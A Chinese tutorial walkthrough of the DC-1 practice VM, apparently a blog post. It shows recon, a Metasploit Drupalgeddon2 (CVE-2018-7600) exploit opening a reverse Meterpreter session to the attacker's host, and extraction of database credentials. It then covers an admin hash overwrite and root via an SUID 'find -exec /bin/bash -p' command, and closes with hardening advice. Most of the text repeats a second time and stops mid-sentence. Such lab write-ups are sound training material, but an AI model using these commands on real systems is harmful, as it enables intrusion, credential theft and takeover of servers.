不知道大家有没有这种感受:看了很多渗透测试教程,工具一堆,命令也敲得有模有样,但真让自己独立打一台机器,还是不知道从哪下手。我给你的建议是,先老老实实把DC-1这个本地靶场打通一遍。它是社区里流传很广的入门练习环境,专门用来练手Kali渗透的完整链路——从环境搭建、信息收集、漏洞利用到后期提权,每一步都有非常清晰的落点。这篇就把我自己走通整个靶场的完整过程整理出来,从网络配置开始到最后拿到Root权限,按实战顺序写,所有关键命令、参数、原理和踩过的坑都会说出来。如果你目前处于"命令都认识但组合不起来"的阶段,这篇应该能帮你建立起一套完整的攻击思路。即使你还没装Kali,只要跟着第一章把靶场环境搭好,后面每一步都可以照着敲,属于那种拿来即用的实战记录。1. 环境准备:把靶场先跑起来1.1 靶场特性与目录结构DC-1是基于Drupal 7搭建的一个虚拟靶机,目标很明确:通过Web漏洞进入服务器,拿到普通用户权限,再完成本地提权获取Root。整个过程中设计了多个flag信息点,既是线索也是阶段性目标。它的价值在于覆盖了Web渗透和系统提权两个核心阶段,难度又控制得很好,不会像真实环境那样让人寸步难行。倒入镜像后在本地网络中会以DHCP方式获取IP,所以它在你的虚拟网络里看起来就相当于一台真实的内网主机。攻击机用Kali Linux,靶机的操作系统是一个老版本Debian。这种"老系统+旧版本CMS"的组合在当前真实互联网里已经很少见了,但是用来练习思路和基本功再合适不过。1.2 虚拟网络模式选择拿到靶场镜像后,第一件事是导入到虚拟化平台。我用的是桌面级的虚拟化软件(VMware或VirtualBox均可),这里有一个关键选择:网络模式。建议使用NAT模式,让靶机通过虚拟NAT设备与攻击机通信,靶机的IP由虚拟网络的DHCP分配。使用NAT的好处在于,两台虚拟机之间的流量不需要经过真实局域网,物理主机充当了路由的角色,实验环境更加隔离,不会影响到其他设备。另一个问题是靶机的IP地址。因为DHCP分配的地址是不确定的,很多人卡在第一步——不知道靶机IP是多少。一般有三种办法:进入靶机登录界面会直接显示IP地址(DC-1启动后控制台会打印当前IP)。如果没看到,可以在Kali里用netdiscover扫描当前网段。用nmap对整个虚拟网段做一次Ping扫描,也能找到。不过在实际操作中,我会在导入镜像后先把虚拟网卡设置检查一遍,确认模式是NAT,然后启动靶机。这个环节看似简单,但不少人在后面漏扫成习惯,结果发现压根没扫到目标,最后回过头来才发现是网络组件的锅。1.3 初始连通性验证确认靶机启动后,在Kali里先做一个最基础的连通性测试,别急着上重型扫描器。假设目标IP为192.168.164.131,先执行:ping -c 3 192.168.164.131TTL值可以透露不少信息。Linux系统默认TTL为64,Windows为128。如果看到TTL在64附近,基本可以判断目标系统是Linux类系统,这对后面的利用思路是个信号——尤其提权阶段的侧重点会有所不同。ping通了,说明二层三层链路没问题,接下来进入第二个环节:信息收集。2. 信息收集:从网段扫描到CMS指纹识别2.1 主机发现与端口扫描有一类人喜欢打开浏览器直接输入靶机IP,看到页面就开始猜漏洞,这是很低效的。正规的第一动作应该是端口和服务发现,搞清楚机器到底暴露了哪些面。在确认了目标存活之后,我对192.168.164.131做了一次全端口服务扫描,命令如下:nmap -sV -O -p- 192.168.164.131简单拆解一下:-sV:探测端口上运行的服务版本。-O:操作系统指纹识别。-p-:全端口扫描,不局限于默认的1000个端口。扫描结果里通常可以看到以下关键信息:端口服务版本信息22SSHOpenSSH 6.080HTTPApache httpd 2.4.10实际上还要注意是否存在其他端口。很多CTF和靶场会在非标准端口埋服务,DC-1的默认面比较干净,只有22和80两条路。SSH是OpenSSH 6.0,Web是Apache 2.4.10配合Drupal 7。看到这两个版本信息,脑子里应该立刻建立一个粗略的判断:系统是Debian系老版本,Web层跑着旧版CMS。另外nginx、Apache这种Web服务经常会泄漏服务端技术栈和版本号,为后续的漏洞库检索提供了直接依据。版本信息永远不要忽略,Drupal 7老版本和Drupal 7高版本的风险差异非常大。2.2 Web指纹识别与CMS判定拿到端口信息之后,先访问80端口看看页面。DC-1默认会显示一个Drupal站点页面,有时是默认欢迎页,有时是安装向导页。这个页面不是重点,重点是确认CMS的精确版本。你当然可以靠肉眼看页面底部的版权信息或Meta标签来判断,但不准确。推荐用专门的指纹识别工具whatweb:whatweb http://192.168.164.131输出信息里会明确标注内容管理系统为Drupal,并且给出版本号信息。如果whatweb显示的版本不够细致,还可以手动请求几个典型路径来确认。Drupal 7的站点结构有固定特征,例如:/CHANGELOG.txt通常可以直接读取,里面包含详细版本号。/INSTALL.txt、/README.txt也有版本线索。/sites/default/files/目录在开启文件上传功能后存在。我在实际操作里会用curl直接抓这几个路径:curl -s http://192.168.164.131/CHANGELOG.txt | head -20能直接看到类似“Drupal 7.x”的字样和更新历史,这个信息对接下来的漏洞选定非常重要。浏览器的页面渲染会掩盖掉很多原始信息,用curl拿到的HTTP响应才是原汁原味的,做信息收集不要太依赖浏览器。2.3 漏洞库检索与利用方向确定知道CMS版本之后,第一步想到的不应该是Google,而是本地漏洞库searchsploit。它自带一份漏洞利用代码索引,离线就能查。在Kali里执行:searchsploit drupal 7列出的结果中,名气最大的是Drupalgeddon系列。其中Drupal 7在2018年爆出的远程代码执行漏洞(CVE-2018-7600)直接允许未认证攻击者通过表单参数执行任意PHP代码。这个漏洞的利用条件非常宽松,对入门者来说是最友好的入口之一,恰好Metasploit里已经集成了完整的利用模块。3. 漏洞利用:Drupalgeddon2实战GetShell3.1 Metasploit模块选择与参数配置MSF里的Drupal利用模块很多,我这次用的是exploit/unix/webapp/drupal_drupalgeddon2,对应CVE-2018-7600。打开MSF控制台,依次执行:msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.164.131 set LHOST 192.168.164.130 set LPORT 4444 run这里有几个需要注意的点:LHOST不能随意填,它是攻击机Kali的IP,MSF会监听在这个地址上等待靶机反连。LPORT尽量选择不容易起冲突的高位端口,我用4444,如果提示端口被占用可以用其他端口。如果你的MSF版本较新,模块默认payload可能是meterpreter_reverse_tcp,这个payload是stageless版本,也能用。如果遇到问题,可以显式设置payload为php/meterpreter_reverse_tcp,在Drupal这类PHP环境里更稳。模块执行成功后,MSF会提示建立了一个Meterpreter会话。看到Meterpreter session 1 opened这类信息,就说明已经拿下了Web服务器的权限。3.2 漏洞利用原理简析这里稍微展开一下CVE-2018-7600的原理。Drupal 7在渲染表单结构时,对用户可控数组参数的处理存在缺陷,导致攻击者能在#post_render等回调参数中注入可被求值的PHP代码。简单地说,Drupal把某些本应是结构配置的数组内容当成可执行逻辑,又没有做好校验,于是产生了远程代码执行。整个过程不需要登录,这就是这个漏洞威力巨大的原因。在实际利用链上,MSF模块会用精心构造的HTTP请求把恶意Payload包在表单参数里发出去,服务器端执行后会把结果通过某种带外方式返回。对于使用者来说不需要关注发包细节,但理解这条链——未认证输入到代码执行——对后面自己做漏洞研究很有帮助。3.3 由WebShell到交互式Shell的转换Meterpreter会话是打进去的第一层,但它不是一个真正的交互式Shell。我习惯先做这么几步:shell python -c 'import pty;pty.spawn("/bin/bash")'首先通过shell命令进入系统命令行上下文,然后用Python调用PTY模块生成一个虚拟终端。为什么要多这一步?因为很多利用链回连的Shell不带终端环境,没有tty,这会直接影响后面执行交互式命令、切换用户、VIM等操作。人话就是:Shell不稳定、不完整,先给它补一个伪终端,后面才会顺手。查看当前用户身份:id whoami正常情况下,你会看到www-data用户。这个用户是Web服务运行身份,权限很低,但已经足够读取Web目录下的很多文件了。到这里,Web层的GetShell已完成,剩下的工作分两条线:一条是在系统中继续收集敏感信息,一条是寻找路径把自己变成Root。4. 信息深挖:从配置文件到数据库再到底层权限4.1 目录遍历与线索搜集拿到WebShell之后,第一件事是弄清楚自己在哪、身边有哪些文件。执行:pwd ls -la /var/www/html这套英文缩写在实战中很有讲究:flag文件通常命名为flag1.txt、flag2.txt这种风格。大量线索藏在配置文件中,比如数据库连接信息、系统路径、特殊账号。我在类目下找到了flag1.txt,打开后是一个提示性信息,它会引导你继续查看Drupal的配置文件。Drupal 7的站点配置位于/var/www/html/sites/default/settings.php。这个文件里通常会写明数据库类型、数据库名、用户名、密码等关键信息。所谓“敏感信息收集”,本质上就是在看似正常的业务代码里翻出那些被开发顺手写死的高权限凭据。4.2 数据库凭据提取与资产关联查看配置文件的内容,重点关注以下关键字:$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'drupaluser', 'password' => 'somepassword', 'host' => 'localhost', ), ), );这里出现了一个非常典型的运维错误:数据库账号权限过高,而且密码直接暴露在Web目录配置中。到这一步,实际上已经确定了目标机器的数据库凭据,可以顺利连入MySQL。mysql -u drupaluser -p drupaldb在数据库里绕着圈子找了一圈,最终在某个信息点拿到第二个flag。同时你会发现数据库的users表里有一条管理员账号记录。Drupal的密码不是明文,而是经过哈希处理的。但你可以直接改掉哈希,把它换成自己生成的加密值,然后直接用管理员身份登录后台。流程大致是:先通过password_hash('新密码', PASSWORD_BCRYPT)生成一段哈希。在数据库里执行UPDATE users SET pass = '新哈希' WHERE uid = 1;。清掉session表里的旧会话,避免异常。用管理员账号登录Drupal后台。登录后台之后,能力会显著扩大。Drupal 7后台可以编辑主题模板,而模板里允许嵌入PHP代码,这就等于给你敞开了一扇代码执行大门。利用后台的能力,可以直接写入一个PHP反弹Shell,也可以利用已有功能模块直接执行系统命令。4.3 在源码与日志中摸索提权线索从Web目录出来之后,我习惯把常见的敏感位置快速扫一遍,包括:/etc/passwd查看系统用户列表,找出可登录账号。历史文件如.bash_history,看用户留下过什么命令记录。计划任务目录/etc/cron*,看是否有root定时任务可以利用。其中/etc/passwd是一项常规操作。打开后,你会发现除了系统自带用户外,还存在一个叫flag4的用户。它的家目录下有一个flag4文件,内容会提示你要不要尝试用同样的方法获取Root权限。这句话其实就是提权提示:这台机器至少有一种本地提权路径。5. 权限提升:从普通用户到Root的完整实践5.1 提权思路与SUID原理在系统上执行命令的权限等级由运行身份决定。如果某个程序被设置了SUID位,那么当普通用户运行它时,它会以文件属主的身份(比如root)执行,而不仅仅是当前用户的身份。这个机制在日常系统里很常见,比如passwd命令就需要SUID来修改/etc/shadow。但是在渗透测试中,如果一个原本不属于普通用户的程序也带了SUID位,就可能导致权限逃逸。攻击者的思路非常直接:找到一个可以以root身份运行、且能派生Shell或执行任意命令的SUID程序,然后借它之人手拿到Root权限。查看系统权限的第一步,就是列出所有SUID位文件。推荐命令:find / -perm -4000 -type f 2>/dev/null解释一下参数:-perm -4000:匹配所有设置了SUID位的文件。-type f:只看普通文件,排除目录和设备文件。2>/dev/null:把权限不足报错丢弃,避免刷屏。这类扫描信息量非常大。DC-1这台靶机的常规配置下,系统自带的SUID文件会有passwd、mount、su等,它们都是正常的。但你会发现一个不常见的身影:/usr/bin/find。5.2 利用find命令实现Root权限获取find命令是一个文件搜索工具,但它有一个被广泛使用的扩展能力:可以通过-exec参数对搜索结果执行任意命令。也就是说,一个普通用户能在find后面指定要用root身份执行的任务。于是提权选项就是:直接借助/usr/bin/find派生一个以root身份运行的Shell。我实际操作的命令是这样:find / -exec "/bin/bash" -p \;第一眼看上去像在扫描全部文件,但真正起作用的是-exec部分:对每个文件执行/bin/bash -p。find在SUID位生效后以root身份运行,它派生的bash也就继承了root权限。参数-p是非常重要的,它的作用是让bash在启动时保留实际有效的特权身份,否则bash会主动把有效UID降回当前用户。执行完之后再id,你会看到输出里出现了uid=0(root)。不是通过爆破Root密码,也不是利用漏洞库里的内核漏洞,而只是利用一个被错误配置的SUID程序,就拿到了最高权限。这种方式在真实内网里并不少见,根因往往是运维为了方便,给某个常用程序加了不恰当的权限位。5.3 根目录flag与系统加固视角拿到Root之后,进入/root目录,查看最后一个flag文件。cat /root/flag5.txt最终flag会给出总结性质的内容,通常也附带一段安全建议。到这里,从Web入口到Root权限的整套链路已经走完了。我在拿到Root之后习惯顺手做一次系统自身的加固排查,看看这个环境里的薄弱点有多少。DC-1暴露出来的问题其实非常典型,放大到真实生产环境里,对应的就是下面这些安全缺陷:缺陷点具体表现对应修复思路旧版CMS软件Drupal 7且未修复CVE-2018-7600及时补丁、升级版本、移除敏感文件暴露敏感配置暴露settings.php可被Web解析读取配置文件移出Web目录、严格限制文件权限数据库弱凭据Web配置里明文写入数据库密码使用配置中心或加密存储,避免硬编码SUID配置异常find命令带有SUID位,可直接提权清理不必要的SUID位、定期审计特殊权限文件后台超级管理权限管理员哈希被直接篡改后即可登录后台启用双因素、限制后台访问来源IP如果把这台靶机带到一个只做过"能用就行"运维的服务器上,几乎所有问题都能找到真实对应的影子。这就是靶场的价值:它把常见的web与主机配置隐患集中成一个可复现的攻防场景,而不是让你在教科书里干背概念。6. 常见问题与避坑经验这部分是我在实际打靶过程中真正踩过的坑,整理成速查形式,给后面练习的朋友当参考。6.1 靶机IP未知或无法访问很多人在导入镜像后不知道靶机IP,更常见的是网络不通。排查优先级应该是:确认两块虚拟机的网卡都处于同一虚拟网络模式(NAT或Host-Only保持一致性)。确认DHCP地址池内有空闲IP,靶机开机时能正常获取地址。在Kali里使用netdiscover -r 网段或arp-scan进行二层发现。如果一直不通,重启靶机网络服务或者重新开机通常会解决。还有一种情况是桥接模式导致你的物理网络环境存在限制,靶机无法从路由器拿到地址,此时切回NAT模式更稳。6.2 Metasploit模块执行失败常见失败有两种。一种是设置了错误的目标地址,模块报错无法连接。注意RHOSTS是靶机IP,不是靶机域名。另一种是Payload类型与目标环境不兼容,Drupal这类PHP站点选择PHP类的Payload通常比二进制Payload成功率高得多。模块执行成功但没有任何输出时,适当调整LPORT换一个监听端口再试。MSF在NAT环境下还需要注意监听地址是否绑定正确。6.3 提权阶段Shell状态异常拿到Meterpreter后在shell里运行find命令超时或者卡住,通常是因为全盘扫描耗时久,加上没有使用2>/dev/null导致大量报错信息占用通道。建议提权时把路径缩小到/usr、/tmp等关键目录,或者使用find / -perm -4000 -type f 2>/dev/null这种带错误重定向的写法。6.4 登录后台后无法执行代码Drupal 7后台的PHP执行能力不是默认开放的,需要到“模块”和“权限”里开启PHP Filter模块,再给管理员角色赋予对应权限。如果之前用的不是管理员账号,就算找到了模板编辑界面,也无法使用PHP功能。这也是我坚持先把管理员哈希替换掉再进后台的原因——管理员角色在后台上具备更完整的操作能力。6.5 关于Shell稳定的经验低质量Shell会让一切操作变得痛苦。建议在拿到反弹Shell之后第一时间升级为交互式TTY。常见做法是:python -c 'import pty;pty.spawn("/bin/bash")'如果Python缺失,试试script -c /bin/bash或busybox sh等替代方案。一个稳定的TTY能避免后续使用sudo、编辑器时出现的各类诡异问题。7. 一点个人经验总结DC-1这个靶场我前后打过好几遍,每次打都能发现一些新的细节。第一次是在设环境时踩了一堆坑,第二次开始做时间记录和命令复盘,第三次就尝试不依赖MSF模块,手工构造请求和Payload。每换一种打法,对漏洞的理解就加深一层。有几个习惯是我个人特别推荐的:每做完一步,就把当前会话截图保存下来,或者用笔记记录下来。打靶场的完整链路很长,事后再想当初某个细节很容易遗漏。不要只盯着工具的输出看,还要理解命令为什么这么组合。比如你记不住find / -perm -4000 -type f不要紧,但要记住这个命令在做什么:找一切可以让普通用户以特殊权限启动程序的入口。如果卡在某个环节超过半小时,先离开键盘,把已经获得的信息列表梳理一遍,线索往往就在之前已经拿到但被无视的文件或输出里。打靶不是比手速,比的是信息关联能力。顺手把每个flag文件复制到本地文件夹,作为自己练习成果的记录。这样既能证明这条链路真的走通了,后续写报告或复盘时也有依据。第一次完整打通一条"外网入口到Root提权"的链路,那种感觉很奇妙——不是游戏里通关的快感,而是以前看不懂的漏洞利用、权限概念突然在一条清晰的路径上串起来了。看完这篇之后,建议你立刻动手从扫描重新走一遍,不要只看不做。自己敲一遍命令和看我敲一遍,效果差好几倍。
不知道大家有没有这种感受:看了很多渗透测试教程,工具一堆,命令也敲得有模有样,但真让自己独立打一台机器,还是不知道从哪下手。我给你的建议是,先老老实实把DC-1这个本地靶场打通一遍。它是社区里流传很广的入门练习环境,专门用来练手Kali渗透的完整链路——从环境搭建、信息收集、漏洞利用到后期提权,每一步都有非常清晰的落点。这篇就把我自己走通整个靶场的完整过程整理出来,从网络配置开始到最后拿到Root权限,按实战顺序写,所有关键命令、参数、原理和踩过的坑都会说出来。如果你目前处于"命令都认识但组合不起来"的阶段,这篇应该能帮你建立起一套完整的攻击思路。即使你还没装Kali,只要跟着第一章把靶场环境搭好,后面每一步都可以照着敲,属于那种拿来即用的实战记录。1. 环境准备:把靶场先跑起来1.1 靶场特性与目录结构DC-1是基于Drupal 7搭建的一个虚拟靶机,目标很明确:通过Web漏洞进入服务器,拿到普通用户权限,再完成本地提权获取Root。整个过程中设计了多个flag信息点,既是线索也是阶段性目标。它的价值在于覆盖了Web渗透和系统提权两个核心阶段,难度又控制得很好,不会像真实环境那样让人寸步难行。倒入镜像后在本地网络中会以DHCP方式获取IP,所以它在你的虚拟网络里看起来就相当于一台真实的内网主机。攻击机用Kali Linux,靶机的操作系统是一个老版本Debian。这种"老系统+旧版本CMS"的组合在当前真实互联网里已经很少见了,但是用来练习思路和基本功再合适不过。1.2 虚拟网络模式选择拿到靶场镜像后,第一件事是导入到虚拟化平台。我用的是桌面级的虚拟化软件(VMware或VirtualBox均可),这里有一个关键选择:网络模式。建议使用NAT模式,让靶机通过虚拟NAT设备与攻击机通信,靶机的IP由虚拟网络的DHCP分配。使用NAT的好处在于,两台虚拟机之间的流量不需要经过真实局域网,物理主机充当了路由的角色,实验环境更加隔离,不会影响到其他设备。另一个问题是靶机的IP地址。因为DHCP分配的地址是不确定的,很多人卡在第一步——不知道靶机IP是多少。一般有三种办法:进入靶机登录界面会直接显示IP地址(DC-1启动后控制台会打印当前IP)。如果没看到,可以在Kali里用netdiscover扫描当前网段。用nmap对整个虚拟网段做一次Ping扫描,也能找到。不过在实际操作中,我会在导入镜像后先把虚拟网卡设置检查一遍,确认模式是NAT,然后启动靶机。这个环节看似简单,但不少人在后面漏扫成习惯,结果发现压根没扫到目标,最后回过头来才发现是网络组件的锅。1.3 初始连通性验证确认靶机启动后,在Kali里先做一个最基础的连通性测试,别急着上重型扫描器。假设目标IP为192.168.164.131,先执行:ping -c 3 192.168.164.131TTL值可以透露不少信息。Linux系统默认TTL为64,Windows为128。如果看到TTL在64附近,基本可以判断目标系统是Linux类系统,这对后面的利用思路是个信号——尤其提权阶段的侧重点会有所不同。ping通了,说明二层三层链路没问题,接下来进入第二个环节:信息收集。2. 信息收集:从网段扫描到CMS指纹识别2.1 主机发现与端口扫描有一类人喜欢打开浏览器直接输入靶机IP,看到页面就开始猜漏洞,这是很低效的。正规的第一动作应该是端口和服务发现,搞清楚机器到底暴露了哪些面。在确认了目标存活之后,我对192.168.164.131做了一次全端口服务扫描,命令如下:nmap -sV -O -p- 192.168.164.131简单拆解一下:-sV:探测端口上运行的服务版本。-O:操作系统指纹识别。-p-:全端口扫描,不局限于默认的1000个端口。扫描结果里通常可以看到以下关键信息:端口服务版本信息22SSHOpenSSH 6.080HTTPApache httpd 2.4.10实际上还要注意是否存在其他端口。很多CTF和靶场会在非标准端口埋服务,DC-1的默认面比较干净,只有22和80两条路。SSH是OpenSSH 6.0,Web是Apache 2.4.10配合Drupal 7。看到这两个版本信息,脑子里应该立刻建立一个粗略的判断:系统是Debian系老版本,Web层跑着旧版CMS。另外nginx、Apache这种Web服务经常会泄漏服务端技术栈和版本号,为后续的漏洞库检索提供了直接依据。版本信息永远不要忽略,Drupal 7老版本和Drupal 7高版本的风险差异非常大。2.2 Web指纹识别与CMS判定拿到端口信息之后,先访问80端口看看页面。DC-1默认会显示一个Drupal站点页面,有时是默认欢迎页,有时是安装向导页。这个页面不是重点,重点是确认CMS的精确版本。你当然可以靠肉眼看页面底部的版权信息或Meta标签来判断,但不准确。推荐用专门的指纹识别工具whatweb:whatweb http://192.168.164.131输出信息里会明确标注内容管理系统为Drupal,并且给出版本号信息。如果whatweb显示的版本不够细致,还可以手动请求几个典型路径来确认。Drupal 7的站点结构有固定特征,例如:/CHANGELOG.txt通常可以直接读取,里面包含详细版本号。/INSTALL.txt、/README.txt也有版本线索。/sites/default/files/目录在开启文件上传功能后存在。我在实际操作里会用curl直接抓这几个路径:curl -s http://192.168.164.131/CHANGELOG.txt | head -20能直接看到类似“Drupal 7.x”的字样和更新历史,这个信息对接下来的漏洞选定非常重要。浏览器的页面渲染会掩盖掉很多原始信息,用curl拿到的HTTP响应才是原汁原味的,做信息收集不要太依赖浏览器。2.3 漏洞库检索与利用方向确定知道CMS版本之后,第一步想到的不应该是Google,而是本地漏洞库searchsploit。它自带一份漏洞利用代码索引,离线就能查。在Kali里执行:searchsploit drupal 7列出的结果中,名气最大的是Drupalgeddon系列。其中Drupal 7在2018年爆出的远程代码执行漏洞(CVE-2018-7600)直接允许未认证攻击者通过表单参数执行任意PHP代码。这个漏洞的利用条件非常宽松,对入门者来说是最友好的入口之一,恰好Metasploit里已经集成了完整的利用模块。3. 漏洞利用:Drupalgeddon2实战GetShell3.1 Metasploit模块选择与参数配置MSF里的Drupal利用模块很多,我这次用的是exploit/unix/webapp/drupal_drupalgeddon2,对应CVE-2018-7600。打开MSF控制台,依次执行:msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.164.131 set LHOST 192.168.164.130 set LPORT 4444 run这里有几个需要注意的点:LHOST不能随意填,它是攻击机Kali的IP,MSF会监听在这个地址上等待靶机反连。LPORT尽量选择不容易起冲突的高位端口,我用4444,如果提示端口被占用可以用其他端口。如果你的MSF版本较新,模块默认payload可能是meterpreter_reverse_tcp,这个payload是stageless版本,也能用。如果遇到问题,可以显式设置payload为php/meterpreter_reverse_tcp,在Drupal这类PHP环境里更稳。模块执行成功后,MSF会提示建立了一个Meterpreter会话。看到Meterpreter session 1 opened这类信息,就说明已经拿下了Web服务器的权限。3.2 漏洞利用原理简析这里稍微展开一下CVE-2018-7600的原理。Drupal 7在渲染表单结构时,对用户可控数组参数的处理存在缺陷,导致攻击者能在#post_render等回调参数中注入可被求值的PHP代码。简单地说,Drupal把某些本应是结构配置的数组内容当成可执行逻辑,又没有做好校验,于是产生了远程代码执行。整个过程不需要登录,这就是这个漏洞威力巨大的原因。在实际利用链上,MSF模块会用精心构造的HTTP请求把恶意Payload包在表单参数里发出去,服务器端执行后会把结果通过某种带外方式返回。对于使用者来说不需要关注发包细节,但理解这条链——未认证输入到代码执行——对后面自己做漏洞研究很有帮助。3.3 由WebShell到交互式Shell的转换Meterpreter会话是打进去的第一层,但它不是一个真正的交互式Shell。我习惯先做这么几步:shell python -c 'import pty;pty.spawn("/bin/bash")'首先通过shell命令进入系统命令行上下文,然后用Python调用PTY模块生成一个虚拟终端。为什么要多这一步?因为很多利用链回连的Shell不带终端环境,没有tty,这会直接影响后面执行交互式命令、切换用户、VIM等操作。人话就是:Shell不稳定、不完整,先给它补一个伪终端,后面才会顺手。查看当前用户身份:id whoami正常情况下,你会看到www-data用户。这个用户是Web服务运行身份,权限很低,但已经足够读取Web目录下的很多文件了。到这里,Web层的GetShell已完成,剩下的工作分两条线:一条是在系统中继续收集敏感信息,一条是寻找路径把自己变成Root。4. 信息深挖:从配置文件到数据库再到底层权限4.1 目录遍历与线索搜集拿到WebShell之后,第一件事是弄清楚自己在哪、身边有哪些文件。执行:pwd ls -la /var/www/html这套英文缩写在实战中很有讲究:flag文件通常命名为flag1.txt、flag2.txt这种风格。大量线索藏在配置文件中,比如数据库连接信息、系统路径、特殊账号。我在类目下找到了flag1.txt,打开后是一个提示性信息,它会引导你继续查看Drupal的配置文件。Drupal 7的站点配置位于/var/www/html/sites/default/settings.php。这个文件里通常会写明数据库类型、数据库名、用户名、密码等关键信息。所谓“敏感信息收集”,本质上就是在看似正常的业务代码里翻出那些被开发顺手写死的高权限凭据。4.2 数据库凭据提取与资产关联查看配置文件的内容,重点关注以下关键字:$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'drupaluser', 'password' => 'somepassword', 'host' => 'localhost', ), ), );这里出现了一个非常典型的运维错误:数据库账号权限过高,而且密码直接暴露在Web目录配置中。到这一步,实际上已经确定了目标机器的数据库凭据,可以顺利连入MySQL。mysql -u drupaluser -p drupaldb在数据库里绕着圈子找了一圈,最终在某个信息点拿到第二个flag。同时你会发现数据库的users表里有一条管理员账号记录。Drupal的密码不是明文,而是经过哈希处理的。但你可以直接改掉哈希,把它换成自己生成的加密值,然后直接用管理员身份登录后台。流程大致是:先通过password_hash('新密码', PASSWORD_BCRYPT)生成一段哈希。在数据库里执行UPDATE users SET pass = '新哈希' WHERE uid = 1;。清掉session表里的旧会话,避免异常。用管理员账号登录Drupal后台。登录后台之后,能力会显著扩大。Drupal 7后台可以编辑主题模板,而模板里允许嵌入PHP代码,这就等于给你敞开了一扇代码执行大门。利用后台的能力,可以直接写入一个PHP反弹Shell,也可以利用已有功能模块直接执行系统命令。4.3 在源码与日志中摸索提权线索从Web目录出来之后,我习惯把常见的敏感位置快速扫一遍,包括:/etc/passwd查看系统用户列表,找出可登录账号。历史文件如.bash_history,看用户留下过什么命令记录。计划任务目录/etc/cron*,看是否有root定时任务可以利用。其中/etc/passwd是一项常规操作。打开后,你会发现除了系统自带用户外,还存在一个叫flag4的用户。它的家目录下有一个flag4文件,内容会提示你要不要尝试用同样的方法获取Root权限。这句话其实就是提权提示:这台机器至少有一种本地提权路径。5. 权限提升:从普通用户到Root的完整实践5.1 提权思路与SUID原理在系统上执行命令的权限等级由运行身份决定。如果某个程序被设置了SUID位,那么当普通用户运行它时,它会以文件属主的身份(比如root)执行,而不仅仅是当前用户的身份。这个机制在日常系统里很常见,比如passwd命令就需要SUID来修改/etc/shadow。但是在渗透测试中,如果一个原本不属于普通用户的程序也带了SUID位,就可能导致权限逃逸。攻击者的思路非常直接:找到一个可以以root身份运行、且能派生Shell或执行任意命令的SUID程序,然后借它之人手拿到Root权限。查看系统权限的第一步,就是列出所有SUID位文件。推荐命令:find / -perm -4000 -type f 2>/dev/null解释一下参数:-perm -4000:匹配所有设置了SUID位的文件。-type f:只看普通文件,排除目录和设备文件。2>/dev/null:把权限不足报错丢弃,避免刷屏。这类扫描信息量非常大。DC-1这台靶机的常规配置下,系统自带的SUID文件会有passwd、mount、su等,它们都是正常的。但你会发现一个不常见的身影:/usr/bin/find。5.2 利用find命令实现Root权限获取find命令是一个文件搜索工具,但它有一个被广泛使用的扩展能力:可以通过-exec参数对搜索结果执行任意命令。也就是说,一个普通用户能在find后面指定要用root身份执行的任务。于是提权选项就是:直接借助/usr/bin/find派生一个以root身份运行的Shell。我实际操作的命令是这样:find / -exec "/bin/bash" -p \;第一眼看上去像在扫描全部文件,但真正起作用的是-exec部分:对每个文件执行/bin/bash -p。find在SUID位生效后以root身份运行,它派生的bash也就继承了root权限。参数-p是非常重要的,它的作用是让bash在启动时保留实际有效的特权身份,否则bash会主动把有效UID降回当前用户。执行完之后再id,你会看到输出里出现了uid=0(root)。不是通过爆破Root密码,也不是利用漏洞库里的内核漏洞,而只是利用一个被错误配置的SUID程序,就拿到了最高权限。这种方式在真实内网里并不少见,根因往往是运维为了方便,给某个常用程序加了不恰当的权限位。5.3 根目录flag与系统加固视角拿到Root之后,进入/root目录,查看最后一个flag文件。cat /root/flag5.txt最终flag会给出总结性质的内容,通常也附带一段安全建议。到这里,从Web入口到Root权限的整套链路已经走完了。我在拿到Root之后习惯顺手做一次系统自身的加固排查,看看这个环境里的薄弱点有多少。DC-1暴露出来的问题其实非常典型,放大到真实生产环境里,对应的就是下面这些安全缺陷:缺陷点具体表现对应修复思路旧版CMS软件Drupal 7且未修复CVE-2018-7600及时补丁、升级版本、移除敏感文件暴露敏感配置暴露settings.php可被Web解析读取配置文件移出Web目录、严格限制文件权限数据库弱凭据Web配置里明文写入数据库密码使用配置中心或加密存储,避免硬编码SUID配置异常find命令带有SUID位,可直接提权清理不必要的SUID位、定期审计特殊权限文件后台超级管理权限管理员哈希被直接篡改后即可登录后台启用双因素、限制后台访问来源IP如果把这台靶机带到一个只做过"能用就行"运维的服务器上,几乎所有问题都能找到真实对应的影子。这就是靶场的价值:它把常见的web与主机配置隐患集中成一个可复现的攻防场景,而不是让你在教科书里干背概念。6. 常见问题与避坑经验这部分是我在实际打靶过程中真正踩过的坑,整理成速查形式,给后面练习的朋友当参考。6.1 靶机IP未知或无法访问很多人在导入镜像后不知道靶机IP,更常见的是网络不通。排查优先级应该是:确认两块虚拟机的网卡都处于同一虚拟网络模式(NAT或Host-Only保持一致性)。确认DHCP地址池内有空闲IP,靶机开机时能正常获取地址。在Kali里使用netdiscover -r 网段或arp-scan进行二层发现。如果一直不通,重启靶机网络服务或者重新开机通常会解决。还有一种情况是桥接模式导致你的物理网络环境存在限制,靶机无法从路由器拿到地址,此时切回NAT模式更稳。6.2 Metasploit模块执行失败常见失败有两种。一种是设置了错误的目标地址,模块报错无法连接。注意RHOSTS是靶机IP,不是靶机域名。另一种是Payload类型与目标环境不兼容,Drupal这类PHP站点选择PHP类的Payload通常比二进制Payload成功率高得多。模块执行成功但没有任何输出时,适当调整LPORT换一个监听端口再试。MSF在NAT环境下还需要注意监听地址是否绑定正确。6.3 提权阶段Shell状态异常拿到Meterpreter后在shell里运行find命令超时或者卡住,通常是因为全盘扫描耗时久,加上没有使用2>/dev/null导致大量报错信息占用通道。建议提权时把路径缩小到/usr、/tmp等关键目录,或者使用find / -perm -4000 -type f 2>/dev/null这种带错误重定向的写法。6.4 登录后台后无法执行代码Drupal 7后台的PHP执行能力不是默认开放的,需要到“模块”和“权限”里开启PHP Filter模块,再给管理员角色赋予对应权限。如果之前用的不是管理员账号,就算找到了模板编辑界面,也无法使用PHP功能。这也是我坚持先把管理员哈希替换掉再进后台的原因——管理员角色在后台上具备更完整的操作能力。6.5 关于Shell稳定的经验低质量Shell会让一切操作变得痛苦。建议在拿到反弹Shell之后第一时间升级为交互式TTY。常见做法是:python -c 'import pty;pty.spawn("/bin/bash")'如果Python缺失,试试script -c /bin/bash或busybox 